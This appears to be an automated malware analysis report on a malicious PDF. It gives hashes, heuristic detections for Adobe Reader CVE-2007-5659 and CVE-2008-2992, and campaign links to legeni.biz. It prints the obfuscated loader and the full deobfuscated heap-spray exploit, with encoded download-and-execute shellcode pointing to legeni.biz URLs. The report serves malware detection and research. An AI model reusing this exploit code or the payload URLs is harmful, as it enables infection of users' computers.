PDF malware analysis — malicious · 3b882e80e4b9622f

MALICIOUS

PDF

2.4 KB First seen: 2026-05-11

MD5: ed732aef2730e1abd45327abf1dbfd82 SHA-1: 7674b1bb1930a75aa8aed672e8b474b39a6d5074 SHA-256: 3b882e80e4b9622fba6227666eb65009cc4895ffe97a988a511bfef13ac89d37

530 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains embedded JavaScript that utilizes the `Collab.collectEmailInfo` method, indicative of the CVE-2007-5659 exploit. The JavaScript is obfuscated using `unescape()` and `eval()` calls, a common technique for hiding malicious code. The primary intent appears to be downloading and executing a secondary payload, as suggested by the heuristic firings and the nature of the exploit.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 11

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after nested-decoder de-obfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
JavaScript action low 4 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY

PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> S …

PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ClamAV: Pdf.Exploit.Agent-35930 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-35930
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://legeni.biz/var/l.php?i=4 Referenced by PDF JavaScript
- http://legeni.biz/var/l.php?i=5Referenced by PDF JavaScript

🗂 Part of campaign: legeni.biz 3 samples

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj111611_000.js`	pdf-javascript-stream	PDF /JS object 111611 at offset 0x894	697 bytes
SHA-256: `f23e505f155bfa9b9f356fa9fddf8d7fcafcc37fc2df3878e575e72c00c819d4`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script /fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/var b/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/=/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/this.creator;/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/var a/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/=/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/unescape(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/b/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/);/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/eval(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/unescape(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/this.creator.replace(/z/igm,'%')/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/)/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/);
`legacy_pdfkit_stage_000.js`	deobfuscated-js	repeated-marker hex decoded JavaScript at offset 0x189	3890 bytes
SHA-256: `4ccdf6770b808b04d1309b64daa5d061bce09bdddc806c01736e39a05d2a15f2`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var skd='%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070';var skd1=skd+'%u7468%u7074%u2F3A%u6C2F%u6765%u6E65%u2E69%u6962%u2F7A%u6176%u2F72%u2E6C%u6870%u3F70%u3D69%u0034%u9000';var skd2=skd+'%u7468%u7074%u2F3A%u6C2F%u6765%u6E65%u2E69%u6962%u2F7A%u6176%u2F72%u2E6C%u6870%u3F70%u3D69%u0035%u9000';function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}function collab(){var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape(skd1);var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape("%u0c0c%u0c0c");while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:"", msg:overflow});}function printf(){nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape(skd2);heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while(bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while(block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);}aPlugins = app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for (var i=0; i < aPlugins.length; i++){if (aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}if (lv==7.1){printf();}else if (((sv==6)\|\|(sv==7))&&(lv<7.11)){collab();}else{}

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PDF

Malware Insights

Machine Learning

Heuristics 11

Related samples 8

Extracted artifacts 2